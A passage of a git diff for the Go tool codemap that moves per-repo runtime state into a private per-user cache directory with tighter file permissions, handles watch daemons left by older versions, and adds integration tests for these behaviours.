os.Lstat(home); !os.IsNotExist(err) { + t.Fatalf("created the missing home: %v", err) + } + + parent := t.TempDir() + t.Setenv("XDG_CACHE_HOME", filepath.Join(parent, ".cache")) + if _, err := SelectRuntime(root); err != nil { + t.Fatalf("the cache dir's own missing leaf should be created: %v", err) + } + if runtime.GOOS == "windows" || os.Getuid() == 0 { + return + } + readOnly := t.TempDir() + if err := os.Chmod(readOnly, 0o555); err != nil { t.Fatal(err) } - if !strings.HasSuffix(selection.RuntimeDir, string(filepath.Separator)+".codemap") || !IsSetUp(root) { - t.Fatalf("set-up RuntimeDir = %q, want /.codemap", selection.RuntimeDir) + t.Cleanup(func() { _ = os.Chmod(readOnly, 0o755) }) + t.Setenv("XDG_CACHE_HOME", filepath.Join(readOnly, ".cache")) + if _, err := SelectRuntime(root); !errors.Is(err, ErrNoStateDir) { + t.Fatalf("read-only home: err = %v, want ErrNoStateDir", err) } } diff --git a/main.go b/main.go index 85350738..9f40ff84 100644 --- a/main.go +++ b/main.go @@ -466,7 +466,7 @@ func main() { // is a standing decision about the repo and one run narrowing further // must not silently re-admit it. if tempDir == "" { - cmd.EnsureProjectConfig(absRoot) + cmd.EnsureAutoConfig(absRoot) } projCfg := config.Load(absRoot) if len(only) == 0 && len(projCfg.Only) > 0 { @@ -992,10 +992,16 @@ func runWatchSubcommand(subCmd, root string) error { if err != nil { return fmt.Errorf("starting daemon: %w", err) } - if active.PID > 0 { + if active.Legacy { + if err := watch.StopActive(active); err != nil { + return fmt.Errorf("replacing daemon from an older codemap (pid %d): %w", active.PID, err) + } + fmt.Printf("Stopped watch daemon from an older codemap (pid %d); starting a current one\n", active.PID) + } else if active.PID > 0 { fmt.Println("Watch daemon already running") return nil } + cmd.EnsureAutoConfig(absRoot) if err := watch.PreserveStalePIDEvidence(active); err != nil { return fmt.Errorf("preserving stale daemon PID: %w", err) } @@ -1087,7 +1093,10 @@ func runWatchSubcommand(subCmd, root string) error { if err != nil { return fmt.Errorf("watch daemon status unavailable: %w", err) } - if active.PID > 0 { + if active.Legacy { + fmt.Printf("Watch daemon from an older codemap running (pid %d); it keeps state where this version does not read it\n", active.PID) + fmt.Println(" Next: `codemap watch start` replaces it.") + } else if active.PID > 0 { state := watch.ReadState(absRoot) // A daemon whose state writes fail is still "running"; without // this line its stale numbers would read as current (#140). diff --git a/plugins/codemap/skills/config-setup/SKILL.md b/plugins/codemap/skills/config-setup/SKILL.md index 8747887c..55e0550b 100644 --- a/plugins/codemap/skills/config-setup/SKILL.md +++ b/plugins/codemap/skills/config-setup/SKILL.md @@ -9,7 +9,7 @@ description: Set up or tune .codemap/config.json so Codemap focuses on code-rele A score of 100 means a hook found the config missing, empty, malformed, or boilerplate. Fix it first; it takes under a minute and every later Codemap answer depends on it. -1. Run `codemap config show` to see the current state. If it says missing, run `codemap config init` (most commands now do this for you). +1. Run `codemap config show` to see the current state. If it says missing, codemap is running on auto-detected filters kept outside the repo; run `codemap config init` to write a committable `.codemap/config.json`. 2. Write or tune `.codemap/config.json` using the workflow below: keep source extensions in `only`, add `exclude` for real noise, set `depth` if the tree is wide. 3. Rerun `codemap .` and confirm the tree is dominated by source, not assets. 4. Verify one known cross-file dependency still resolves with `codemap --importers `. diff --git a/plugins/codemap/skills/handoff/SKILL.md b/plugins/codemap/skills/handoff/SKILL.md index 1ecc2074..5a34d2ff 100644 --- a/plugins/codemap/skills/handoff/SKILL.md +++ b/plugins/codemap/skills/handoff/SKILL.md @@ -40,9 +40,11 @@ The prefix file count and size-based handoff budgets honor the active ## Artifacts written +In the per-user state dir, never in the repo; `codemap doctor` prints its path on the `state dir:` line. + | File | Content | |------|---------| -| `.codemap/handoff.latest.json` | Full artifact (all layers) | -| `.codemap/handoff.prefix.json` | Stable prefix snapshot | -| `.codemap/handoff.delta.json` | Dynamic delta snapshot | -| `.codemap/handoff.metrics.log` | Append-only metrics stream | +| `handoff.latest.json` | Full artifact (all layers) | +| `handoff.prefix.json` | Stable prefix snapshot | +| `handoff.delta.json` | Dynamic delta snapshot | +| `handoff.metrics.log` | Append-only metrics stream | diff --git a/skills/builtin/config-setup.md b/skills/builtin/config-setup.md index a60a2610..89c38665 100644 --- a/skills/builtin/config-setup.md +++ b/skills/builtin/config-setup.md @@ -12,7 +12,7 @@ languages: ["go", "typescript", "javascript", "python", "rust", "ruby", "swift", A score of 100 means a hook found the config missing, empty, malformed, or boilerplate. Fix it first; it takes under a minute and every later Codemap answer depends on it. -1. Run `codemap config show` to see the current state. If it says missing, run `codemap config init` (most commands now do this for you). +1. Run `codemap config show` to see the current state. If it says missing, codemap is running on auto-detected filters kept outside the repo; run `codemap config init` to write a committable `.codemap/config.json`. 2. Write or tune `.codemap/config.json` using the workflow below: keep source extensions in `only`, add `exclude` for real noise, set `depth` if the tree is wide. 3. Rerun `codemap .` and confirm the tree is dominated by source, not assets. 4. Verify one known cross-file dependency still resolves with `codemap --importers `. diff --git a/skills/builtin/handoff.md b/skills/builtin/handoff.md index 165b778f..7be7bf23 100644 --- a/skills/builtin/handoff.md +++ b/skills/builtin/handoff.md @@ -42,9 +42,11 @@ The prefix file count and size-based handoff budgets honor the active ## Artifacts written +In the per-user state dir, never in the repo; `codemap doctor` prints its path on the `state dir:` line. + | File | Content | |------|---------| -| `.codemap/handoff.latest.json` | Full artifact (all layers) | -| `.codemap/handoff.prefix.json` | Stable prefix snapshot | -| `.codemap/handoff.delta.json` | Dynamic delta snapshot | -| `.codemap/handoff.metrics.log` | Append-only metrics stream | +| `handoff.latest.json` | Full artifact (all layers) | +| `handoff.prefix.json` | Stable prefix snapshot | +| `handoff.delta.json` | Dynamic delta snapshot | +| `handoff.metrics.log` | Append-only metrics stream | diff --git a/state_location_test.go b/state_location_test.go index 110f82ad..b91acd07 100644 --- a/state_location_test.go +++ b/state_location_test.go @@ -2,12 +2,17 @@ package main import ( "bytes" + "fmt" "io/fs" "os" "os/exec" "path/filepath" + "runtime" "strings" "testing" + "time" + + "codemap/limits" ) // stateFixture is a git repo with a few files and one commit. @@ -151,24 +156,335 @@ func TestUnsetUpRepoWithoutCacheDirWritesNothing(t *testing.T) { } } -// TestSetUpRepoKeepsStateInRepo: a repo with .codemap/ keeps its state there -// exactly as before, and the user cache stays empty. -func TestSetUpRepoKeepsStateInRepo(t *testing.T) { - root := stateFixture(t) - if err := os.Mkdir(filepath.Join(root, ".codemap"), 0o755); err != nil { +// codemapIn runs the test binary in dir with env appended and returns +// combined output. +func codemapIn(t *testing.T, dir string, env []string, stdin string, args ...string) (string, error) { + t.Helper() + cmd := exec.Command(codemapTestBinaryPath, args...) + cmd.Dir = dir + cmd.Env = append(os.Environ(), env...) + cmd.Stdin = strings.NewReader(stdin) + out, err := cmd.CombinedOutput() + return string(out), err +} + +// setUpFixture runs `codemap setup` without hooks, MCP or skills, so the only +// thing it may add to the repo is .codemap/. +func setUpFixture(t *testing.T, root, cache string) { + t.Helper() + if out, err := codemapIn(t, root, []string{"XDG_CACHE_HOME=" + cache}, "", "setup", "--no-hooks", "--no-mcp", "--no-skills", root); err != nil { + t.Fatalf("setup: %v\n%s", err, out) + } +} + +func gitStatus(t *testing.T, dir string, args ...string) string { + t.Helper() + status := exec.Command("git", append([]string{"status", "--porcelain"}, args...)...) + status.Dir = dir + out, err := status.Output() + if err != nil { t.Fatal(err) } + return strings.TrimSpace(string(out)) +} + +func dirNames(t *testing.T, dir string) string { + t.Helper() + entries, _ := os.ReadDir(dir) + var names []string + for _, e := range entries { + names = append(names, e.Name()) + } + return strings.Join(names, ",") +} + +// TestSetUpRepoKeepsOnlyConfigInTheRepo: after setup and every entry point, +// .codemap/ holds only what the user authors and all state is in the cache. +func TestSetUpRepoKeepsOnlyConfigInTheRepo(t *testing.T) { + root := stateFixture(t) cache := t.TempDir() + setUpFixture(t, root, cache) runEveryEntryPoint(t, root, cache) - if _, err := os.Stat(filepath.Join(root, ".codemap", "agent_edits.jsonl")); err != nil { - t.Fatalf("post-edit record not in .codemap/: %v", err) + if got, want := gitStatus(t, root, "--untracked-files=all"), "?? .codemap/.gitignore\n?? .codemap/config.json"; got != want { + t.Fatalf("git status --porcelain = %q, want %q", got, want) + } + if got := dirNames(t, filepath.Join(root, ".codemap")); got != ".gitignore,config.json" { + t.Fatalf(".codemap/ holds %q, want only .gitignore and config.json", got) + } + for _, name := range []string{"agent_edits.jsonl", "state.json", "hubs.txt"} { + if findFile(t, cache, name) == "" { + t.Fatalf("%s not under the cache dir", name) + } + } + if runtime.GOOS == "windows" { + return + } + // V3: every state dir is 0700 and every state file 0600. + _ = filepath.WalkDir(filepath.Join(cache, "codemap"), func(path string, d fs.DirEntry, err error) error { + if err != nil { + t.Fatal(err) + } + info, _ := d.Info() + if want := map[bool]os.FileMode{true: 0o700, false: 0o600}[d.IsDir()]; info.Mode().Perm() != want { + t.Errorf("%s: mode %v, want %v", path, info.Mode().Perm(), want) + } + return nil + }) +} + +// V5: removing .codemap/ does not move state, so nothing stale comes back. +func TestRemovingCodemapDirKeepsStateWhereItIs(t *testing.T) { + root := stateFixture(t) + cache := t.TempDir() + setUpFixture(t, root, cache) + env := []string{"XDG_CACHE_HOME=" + cache} + edit := func(file string) { + t.Helper() + stdin := `{"session_id":"s","tool_input":{"file_path":"` + filepath.ToSlash(filepath.Join(root, file)) + `"}}` + if out, err := codemapIn(t, root, env, stdin, "hook", "post-edit"); err != nil { + t.Fatalf("post-edit: %v\n%s", err, out) + } + } + edit("main.go") + before := findFile(t, cache, "agent_edits.jsonl") + if err := os.RemoveAll(filepath.Join(root, ".codemap")); err != nil { + t.Fatal(err) + } + edit("pkg/pkg.go") + if after := findFile(t, cache, "agent_edits.jsonl"); after != before || before == "" { + t.Fatalf("agent edits moved from %q to %q", before, after) + } + data, _ := os.ReadFile(before) + if !strings.Contains(string(data), "main.go") || !strings.Contains(string(data), "pkg/pkg.go") { + t.Fatalf("one log should hold both edits:\n%s", data) + } + if _, err := os.Stat(filepath.Join(root, ".codemap")); !os.IsNotExist(err) { + t.Fatalf(".codemap/ came back: %v", err) + } +} + +// Linked worktrees never get a .codemap/, whether the primary is set up or +// not, and deleting the primary's .codemap/ does not make one appear. +func TestLinkedWorktreeKeepsNothingInTheWorktree(t *testing.T) { + for _, setUp := range []bool{true, false} { + name := "primary not set up" + if setUp { + name = "primary set up" + } + t.Run(name, func(t *testing.T) { + primary := stateFixture(t) + cache := t.TempDir() + if setUp { + setUpFixture(t, primary, cache) + } + worktree := filepath.Join(t.TempDir(), "wt") + runGitMainTestCmd(t, primary, "worktree", "add", "-q", worktree, "-b", "wt") + t.Cleanup(func() { + run := exec.Command("git", "worktree", "remove", "--force", worktree) + run.Dir = primary + _ = run.Run() + }) + + check := func() { + t.Helper() + if got := gitStatus(t, worktree, "--ignored"); got != "" { + t.Fatalf("worktree git status --porcelain --ignored = %q, want empty", got) + } + if _, err := os.Lstat(filepath.Join(worktree, ".codemap")); !os.IsNotExist(err) { + t.Fatalf("worktree got a .codemap/: %v", err) + } + } + runEveryEntryPoint(t, worktree, cache) + check() + if setUp { + if err := os.RemoveAll(filepath.Join(primary, ".codemap")); err != nil { + t.Fatal(err) + } + runEveryEntryPoint(t, worktree, cache) + check() + if _, err := os.Lstat(filepath.Join(primary, ".codemap")); !os.IsNotExist(err) { + t.Fatalf("primary .codemap/ recreated: %v", err) + } + } + }) + } +} + +// Finding 4: with no in-repo config, the auto-detected `only` keeps a few Go +// files among thousands of data files under the large-repo cutoff. +func TestAutoConfigKeepsHubsInADataHeavyRepo(t *testing.T) { + root := stateFixture(t) + for i := 0; i <= limits.LargeRepoFileCount; i++ { + path := filepath.Join(root, "data", fmt.Sprintf("d%03d", i/100), fmt.Sprintf("r%d.json", i)) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte("{}"), 0o644); err != nil { + t.Fatal(err) + } + } + out, err := codemapIn(t, root, []string{"XDG_CACHE_HOME=" + t.TempDir()}, "", ".") + if err != nil { + t.Fatalf("codemap .: %v\n%s", err, out) + } + if !strings.Contains(out, "Hubs") || !strings.Contains(out, "pkg") || strings.Contains(out, "graph limit") { + t.Fatalf("no hubs from the auto config:\n%s", out) + } + if _, err := os.Stat(filepath.Join(root, ".codemap")); !os.IsNotExist(err) { + t.Fatalf("auto config wrote .codemap/: %v", err) + } +} + +// daemonPIDs lists live `watch daemon ` processes. +func daemonPIDs(t *testing.T, root string) []string { + t.Helper() + out, _ := exec.Command("pgrep", "-f", "watch daemon "+root).Output() + return strings.Fields(string(out)) +} + +// Finding 1: setup while a daemon runs does not split state, so status still +// sees it and start does not launch a second. +func TestSetupWhileDaemonRunsKeepsOneDaemon(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("pgrep") + } + root := projectpathCanonical(t, stateFixture(t)) + env := []string{"XDG_CACHE_HOME=" + t.TempDir()} + t.Cleanup(func() { _, _ = codemapIn(t, root, env, "", "watch", "stop", root) }) + if out, err := codemapIn(t, root, env, "", "watch", "start", root); err != nil { + t.Fatalf("watch start: %v\n%s", err, out) + } + before := daemonPIDs(t, root) + if len(before) != 1 { + t.Fatalf("daemons after start = %v", before) + } + if out, err := codemapIn(t, root, env, "", "setup", "--no-hooks", "--no-mcp", "--no-skills", root); err != nil { + t.Fatalf("setup: %v\n%s", err, out) + } + if out, _ := codemapIn(t, root, env, "", "watch", "status", root); !strings.Contains(out, "Watch daemon running") { + t.Fatalf("status after setup: %s", out) + } + if out, _ := codemapIn(t, root, env, "", "watch", "start", root); !strings.Contains(out, "already running") { + t.Fatalf("start after setup: %s", out) + } + if after := daemonPIDs(t, root); strings.Join(after, ",") != strings.Join(before, ",") { + t.Fatalf("daemons %v became %v", before, after) + } +} + +// Finding 1 across an upgrade: a live registered daemon whose state is not +// in the current state dir is replaced, never joined by a second, and +// `watch stop` stops whatever is registered. +func TestRegisteredDaemonWithEmptyStateDirGetsNoSecond(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("pgrep") + } + root := projectpathCanonical(t, stateFixture(t)) + oldEnv := []string{"XDG_CACHE_HOME=" + t.TempDir()} + newEnv := []string{"XDG_CACHE_HOME=" + t.TempDir()} + t.Cleanup(func() { + _, _ = codemapIn(t, root, newEnv, "", "watch", "stop", root) + _, _ = codemapIn(t, root, oldEnv, "", "watch", "stop", root) + }) + if out, err := codemapIn(t, root, oldEnv, "", "watch", "start", root); err != nil { + t.Fatalf("watch start: %v\n%s", err, out) } - if findFile(t, filepath.Join(root, ".codemap", "projects"), "state.json") == "" { - t.Fatal("session-start state not under .codemap/projects/") + old := daemonPIDs(t, root) + if len(old) != 1 { + t.Fatalf("daemons after start = %v", old) } - if entries, _ := os.ReadDir(filepath.Join(cache, "codemap")); len(entries) != 0 { - t.Fatalf("set-up repo wrote into the user cache: %v", entries) + out, err := codemapIn(t, root, newEnv, "", "watch", "start", root) + if err != nil || !strings.Contains(out, "older codemap") { + t.Fatalf("start with an empty state dir: %v\n%s", err, out) + } + now := daemonPIDs(t, root) + if len(now) != 1 || now[0] == old[0] { + t.Fatalf("daemons %v then %v, want the registered one replaced by exactly one", old, now) + } + if out, err := codemapIn(t, root, newEnv, "", "watch", "stop", root); err != nil { + t.Fatalf("watch stop: %v\n%s", err, out) + } + if left := daemonPIDs(t, root); len(left) != 0 { + t.Fatalf("daemons left after stop: %v", left) + } +} + +func projectpathCanonical(t *testing.T, path string) string { + t.Helper() + canonical, err := filepath.EvalSymlinks(path) + if err != nil { + t.Fatal(err) + } + return canonical +} + +// V1, V2: no usable state dir (missing home, read-only home, a planted link) +// never fails a hook or prints the error; codemap handoff reports one line. +func TestNoUsableStateDirIsQuiet(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("unix permissions and links") + } + readOnly := t.TempDir() + if err := os.Chmod(readOnly, 0o555); err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = os.Chmod(readOnly, 0o755) }) + linkCache := t.TempDir() + if err := os.Symlink(t.TempDir(), filepath.Join(linkCache, "codemap")); err != nil { + t.Fatal(err) + } + missing := filepath.Join(t.TempDir(), "gone") + cases := map[string][]string{ + "missing home": {"HOME=" + missing, "XDG_CACHE_HOME=", "CODEMAP_DAEMON_REGISTRY="}, + "read-only home": {"HOME=" + readOnly, "XDG_CACHE_HOME="}, + "planted link": {"XDG_CACHE_HOME=" + linkCache}, + } + for name, env := range cases { + t.Run(name, func(t *testing.T) { + root := stateFixture(t) + edit := `{"session_id":"s","tool_input":{"file_path":"` + filepath.ToSlash(filepath.Join(root, "main.go")) + `"}}` + for _, step := range []struct{ stdin, hook string }{ + {`{"session_id":"s"}`, "session-start"}, + {edit, "post-edit"}, + {`{"cwd":"` + filepath.ToSlash(root) + `"}`, "subagent-start"}, + {`{"session_id":"s"}`, "pre-compact"}, + {`{"session_id":"s"}`, "session-stop"}, + } { + out, err := codemapIn(t, root, env, step.stdin, "hook", step.hook) + if err != nil || strings.Contains(out, "permission denied") || strings.Contains(out, "unsafe runtime") { + t.Fatalf("hook %s: %v\n%s", step.hook, err, out) + } + } + out, err := codemapIn(t, root, env, "", "handoff", ".") + if err == nil || strings.Count(strings.TrimSpace(out), "\n") > 0 { + t.Fatalf("handoff should fail with one line, got %v:\n%s", err, out) + } + if _, err := os.Lstat(missing); !os.IsNotExist(err) { + t.Fatalf("a missing home was created: %v", err) + } + if entries, _ := os.ReadDir(readOnly); len(entries) != 0 { + t.Fatalf("wrote into the read-only home: %v", entries) + } + }) + } +} + +// V4: a hook timeout that ends the process before the render still leaves +// the background render running, which fills the cache and drops its lock. +func TestSubagentStartTimeoutStillFillsTheCache(t *testing.T) { + root := stateFixture(t) + cache := t.TempDir() + out, err := codemapIn(t, root, []string{"XDG_CACHE_HOME=" + cache, "CODEMAP_HOOK_TIMEOUT=1ms"}, `{"cwd":"`+filepath.ToSlash(root)+`"}`, "hook", "subagent-start") + if err != nil || out != "" { + t.Fatalf("timed-out subagent-start: %v %q", err, out) + } + deadline := time.Now().Add(20 * time.Second) + for findFile(t, cache, "subagent-start.json") == "" || findFile(t, cache, "subagent-start.lock") != "" { + if time.Now().After(deadline) { + t.Fatal("background render never filled the cache or left its lock") + } + time.Sleep(50 * time.Millisecond) } } diff --git a/topology/cache.go b/topology/cache.go index db399547..56e5eb8d 100644 --- a/topology/cache.go +++ b/topology/cache.go @@ -14,7 +14,6 @@ import ( "time" "codemap/config" - "codemap/internal/gitexclude" "codemap/internal/projectpath" "codemap/scanner" ) @@ -35,8 +34,13 @@ type CacheEnvelope struct { Graph *Graph `json:"graph"` } +// CachePath is "" when there is no usable state dir. func CachePath(root string) string { - return CachePathAt(projectpath.RuntimeCodemapDir(root)) + dir := projectpath.RuntimeCodemapDir(root) + if dir == "" { + return "" + } + return CachePathAt(dir) } // CachePathAt returns the topology cache path inside cacheDir. @@ -135,7 +139,11 @@ func BuildCacheIdentity(root string, files []scanner.FileInfo, manifests []strin } func ReadCache(root string, expected CacheIdentity) (*Graph, bool) { - return ReadCacheAt(projectpath.RuntimeCodemapDir(root), root, expected) + dir := projectpath.RuntimeCodemapDir(root) + if dir == "" { + return nil, false + } + return ReadCacheAt(dir, root, expected) } // ReadCacheAt reads a cache from cacheDir and validates graph paths against root. @@ -171,7 +179,11 @@ func IsCacheable(graph *Graph) bool { } func WriteCache(root string, envelope CacheEnvelope) error { - return WriteCacheAt(projectpath.RuntimeCodemapDir(root), envelope) + dir := projectpath.RuntimeCodemapDir(root) + if dir == "" { + return projectpath.ErrNoStateDir + } + return WriteCacheAt(dir, envelope) } // WriteCacheAt atomically writes a topology cache inside cacheDir. @@ -188,7 +200,7 @@ func WriteCacheAt(cacheDir string, envelope CacheEnvelope) error { } data = append(data, '\n') - if err := gitexclude.MkdirAll(cacheDir, 0o755); err != nil { + if err := os.MkdirAll(cacheDir, 0o700); err != nil { return err } temp, err := os.CreateTemp(cacheDir, ".topology-state-*.tmp") @@ -198,7 +210,7 @@ func WriteCacheAt(cacheDir string, envelope CacheEnvelope) error { tempName := temp.Name() defer func() { _ = os.Remove(tempName) }() - if err := temp.Chmod(0o644); err != nil { + if err := temp.Chmod(0o600); err != nil { _ = temp.Close() return err } diff --git a/topology/cache_test.go b/topology/cache_test.go index 6018b9d3..9b487fcc 100644 --- a/topology/cache_test.go +++ b/topology/cache_test.go @@ -56,7 +56,7 @@ func TestReadCacheMissesMalformedStaleAndNewerSchemas(t *testing.T) { for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { root := t.TempDir() - writeTopologyFixture(t, root, ".codemap/topology-state.json", tt.data) + writeTopologyFixture(t, "", CachePath(root), tt.data) before := readFixture(t, CachePath(root)) if graph, ok := ReadCache(root, identity); ok || graph != nil { @@ -115,7 +115,7 @@ func TestReadCacheMissesTransientProviderFailures(t *testing.T) { func TestWriteCacheAtomicallyReplacesTopologyState(t *testing.T) { root := t.TempDir() - writeTopologyFixture(t, root, ".codemap/topology-state.json", `{"schema":1,"old":true}`) + writeTopologyFixture(t, "", CachePath(root), `{"schema":1,"old":true}`) graph := cachedTestGraph(root) identity := CacheIdentity{Filters: "new"} diff --git a/watch/daemon.go b/watch/daemon.go index 5c52f100..18814d33 100644 --- a/watch/daemon.go +++ b/watch/daemon.go @@ -12,7 +12,6 @@ import ( "codemap/analysis" "codemap/config" - "codemap/internal/gitexclude" "codemap/internal/projectpath" "codemap/limits" "codemap/scanner" @@ -32,6 +31,7 @@ type Daemon struct { root string configDir string configPath string + autoConfig string // used while configPath does not exist runtimeDir string graph *Graph watcher *fsnotify.Watcher @@ -87,7 +87,7 @@ func (d *Daemon) runtimeStateDir() (string, error) { func (d *Daemon) loadConfig() config.ProjectConfig { if d.configPath != "" { - return config.LoadFile(d.configPath) + return config.LoadFirst(d.configPath, func() string { return d.autoConfig }) } if d.configDir != "" { return config.LoadFile(filepath.Join(d.configDir, "config.json")) @@ -103,9 +103,6 @@ func (d *Daemon) ensurePublisher() error { if err != nil { return err } - if err := gitexclude.MkdirAll(runtimeDir, 0o755); err != nil { - return err - } d.publisher = newStatePublisher(d, filepath.Join(runtimeDir, "state.json"), "legacy-test-instance") return nil } @@ -136,6 +133,7 @@ func NewDaemon(root string, verbose bool) (*Daemon, error) { root: absRoot, configDir: selection.PolicyDir, configPath: filepath.Join(selection.PolicyDir, "config.json"), + autoConfig: filepath.Join(runtimeDir, config.AutoConfigFile), runtimeDir: runtimeDir, watcher: watcher, gitCache: gitCache, @@ -169,14 +167,6 @@ func (d *Daemon) Start() error { if err := d.ensurePublisher(); err != nil { return fmt.Errorf("resolve runtime state: %w", err) } - runtimeDir, err := d.runtimeStateDir() - if err != nil { - return fmt.Errorf("resolve runtime state: %w", err) - } - codemapDir := runtimeDir - if err := gitexclude.MkdirAll(codemapDir, 0755); err != nil { - return fmt.Errorf("failed to create .codemap dir: %w", err) - } // The config directory is watched so config edits refresh the configured // inventory. Only an explicit setup creates it (#184); without it there // is no config to watch. diff --git a/watch/events.go b/watch/events.go index 3f7e6460..ae6da544 100644 --- a/watch/events.go +++ b/watch/events.go @@ -971,7 +971,7 @@ func (d *Daemon) logEvent(e Event) { if err := requireRegularRuntimeFile(d.eventLog); err != nil && !os.IsNotExist(err) { return } - f, err := runtimefile.OpenAppend(d.eventLog, 0o644) + f, err := runtimefile.OpenAppend(d.eventLog, 0o600) if err != nil { return } @@ -1085,7 +1085,7 @@ func trimEventLogToBytes(path string, maxBytes, keepBytes int64) error { tail = tail[idx+1:] } - return os.WriteFile(path, tail, 0644) + return os.WriteFile(path, tail, 0o600) } // countLines counts lines in a file efficiently (no full read into memory) diff --git a/watch/publication.go b/watch/publication.go index 2d552b70..1ab13b23 100644 --- a/watch/publication.go +++ b/watch/publication.go @@ -96,7 +96,7 @@ func (p *statePublisher) snapshot(generation uint64) State { func (p *statePublisher) publish() error { next := p.generation + 1 - err := runtimefile.WriteAtomicWith(p.path, 0o644, func(w io.Writer) error { + err := runtimefile.WriteAtomicWith(p.path, 0o600, func(w io.Writer) error { encoder := json.NewEncoder(w) encoder.SetIndent("", " ") return encoder.Encode(p.snapshot(next)) @@ -138,7 +138,7 @@ func (p *statePublisher) recordWriteFailure(err error) { p.writeFailure.LastFailedAt = now p.writeFailure.Attempts++ if data, marshalErr := json.Marshal(p.writeFailure); marshalErr == nil { - _ = runtimefile.WriteAtomic(p.writeFailurePath(), data, 0o644) + _ = runtimefile.WriteAtomic(p.writeFailurePath(), data, 0o600) } } diff --git a/watch/registry.go b/watch/registry.go index 16768075..c245f7e5 100644 --- a/watch/registry.go +++ b/watch/registry.go @@ -55,14 +55,37 @@ func registerDaemon(root string, pid int) { if err != nil { return } - if err := os.MkdirAll(dir, 0o755); err != nil { + // Create .codemap/daemons but never a missing home above it. + if _, err := os.Stat(filepath.Dir(filepath.Dir(dir))); err != nil { return } + for _, d := range []string{filepath.Dir(dir), dir} { + if err := os.Mkdir(d, 0o700); err != nil && !os.IsExist(err) { + return + } + } payload, err := json.Marshal(DaemonInfo{PID: pid, Root: canonicalRoot(root)}) if err != nil { return } - _ = runtimefile.WriteAtomic(filepath.Join(dir, projectpath.ProjectKey(root)+".json"), payload, 0o644) + _ = runtimefile.WriteAtomic(filepath.Join(dir, projectpath.ProjectKey(root)+".json"), payload, 0o600) +} + +// registeredPID returns the pid the registry records for root, or 0. +func registeredPID(root string) int { + dir, err := daemonRegistryDir() + if err != nil { + return 0 + } + data, err := runtimefile.Read(filepath.Join(dir, projectpath.ProjectKey(root)+".json")) + if err != nil { + return 0 + } + var info DaemonInfo + if json.Unmarshal(data, &info) != nil || info.PID <= 0 || canonicalRoot(info.Root) != canonicalRoot(root) { + return 0 + } + return info.PID } // unregisterDaemon drops every entry naming pid. diff --git a/watch/state.go b/watch/state.go index 348cacfe..f5ddbfce 100644 --- a/watch/state.go +++ b/watch/state.go @@ -9,7 +9,6 @@ import ( "strings" "time" - "codemap/internal/gitexclude" "codemap/internal/projectpath" "codemap/internal/runtimefile" ) @@ -128,11 +127,8 @@ func WriteProcessPID(root string, pid int) error { if err != nil { return err } - if err := gitexclude.MkdirAll(runtimeDir, 0o755); err != nil { - return err - } pidFile := filepath.Join(runtimeDir, "watch.pid") - if err := runtimefile.WriteAtomic(pidFile, []byte(fmt.Sprintf("%d", pid)), 0o644); err != nil { + if err := runtimefile.WriteAtomic(pidFile, []byte(fmt.Sprintf("%d", pid)), 0o600); err != nil { return err } registerDaemon(root, pid) @@ -215,54 +211,45 @@ type ActiveRuntime struct { Directory string CanonicalRoot string PID int - Legacy bool - StalePIDPath string + // Legacy marks a live daemon for this root found only through the + // registry: it publishes state somewhere other than Directory (an older + // binary's layout), so it is stale and `watch start` replaces it. + Legacy bool + StalePIDPath string } -// ResolveActiveRuntime selects the project namespace, or a positively owned -// live legacy daemon during forward migration. +// ResolveActiveRuntime selects the project namespace and its live daemon, or a +// positively owned live daemon the registry records for this root. func ResolveActiveRuntime(root string) (ActiveRuntime, error) { selection, err := projectpath.SelectRuntime(root) if err != nil { return ActiveRuntime{}, err } - base := ActiveRuntime{Directory: projectpath.ProjectRuntimeDir(selection.ProjectRoot), CanonicalRoot: selection.ProjectRoot} - var stalePath string - for _, candidate := range []ActiveRuntime{ - base, - // Keep the immediately-prior explicit setup-root layout readable during migration. - {Directory: filepath.Join(selection.LegacyDir, "projects", projectpath.ProjectKey(selection.ProjectRoot)), CanonicalRoot: selection.ProjectRoot, Legacy: true}, - {Directory: selection.LegacyDir, CanonicalRoot: selection.ProjectRoot, Legacy: true}, - } { - if candidate.Legacy && candidate.Directory == base.Directory { - continue - } - pid, readErr := readPIDAt(candidate.Directory) - if os.IsNotExist(readErr) { - continue - } - if readErr != nil || pid <= 0 { - return ActiveRuntime{}, ErrDaemonOwnershipUnknown - } - if !processAlive(pid) { - if candidate.Legacy { - continue - } - stalePath = filepath.Join(candidate.Directory, "watch.pid") - continue - } + active := ActiveRuntime{Directory: projectpath.ProjectRuntimeDir(selection.ProjectRoot), CanonicalRoot: selection.ProjectRoot} + pid, readErr := readPIDAt(active.Directory) + switch { + case os.IsNotExist(readErr): + case readErr != nil || pid <= 0: + return ActiveRuntime{}, ErrDaemonOwnershipUnknown + case !processAlive(pid): + active.StalePIDPath = filepath.Join(active.Directory, "watch.pid") + default: switch daemonOwnershipForPID(selection.ProjectRoot, pid) { case ownershipOwned: - candidate.PID = pid - return candidate, nil + active.PID = pid + return active, nil case ownershipForeign: return ActiveRuntime{}, ErrForeignDaemonPID default: return ActiveRuntime{}, ErrDaemonOwnershipUnknown } } - base.StalePIDPath = stalePath - return base, nil + if pid := registeredPID(selection.ProjectRoot); pid > 0 && processAlive(pid) && + daemonOwnershipForPID(selection.ProjectRoot, pid) == ownershipOwned { + active.PID = pid + active.Legacy = true + } + return active, nil } // PreserveStalePIDEvidence moves dead or malformed PID evidence aside under a @@ -350,7 +337,9 @@ func IsOwnedDaemon(root string) bool { // IsRunning checks if the daemon is running func IsRunning(root string) bool { active, err := ResolveActiveRuntime(root) - if err != nil || active.PID <= 0 { + // A Legacy daemon publishes elsewhere, so it counts as not running here and + // the start path replaces it. + if err != nil || active.PID <= 0 || active.Legacy { return false } // Liveness is checked in a platform-specific way: Signal(0) on Unix is @@ -369,6 +358,12 @@ func Stop(root string) error { if err != nil { return err } + return StopActive(active) +} + +// StopActive stops the daemon ResolveActiveRuntime found; the caller holds +// the transition lock. +func StopActive(active ActiveRuntime) error { if active.PID <= 0 { return fmt.Errorf("no daemon running: %w", os.ErrNotExist) } @@ -390,6 +385,10 @@ func Stop(root string) error { if processAlive(active.PID) { return ErrDaemonExitTimeout } + if active.Legacy { + unregisterDaemon(active.PID) + return nil + } if err := removePIDIfMatches(active.Directory, active.PID); err != nil { return err } diff --git 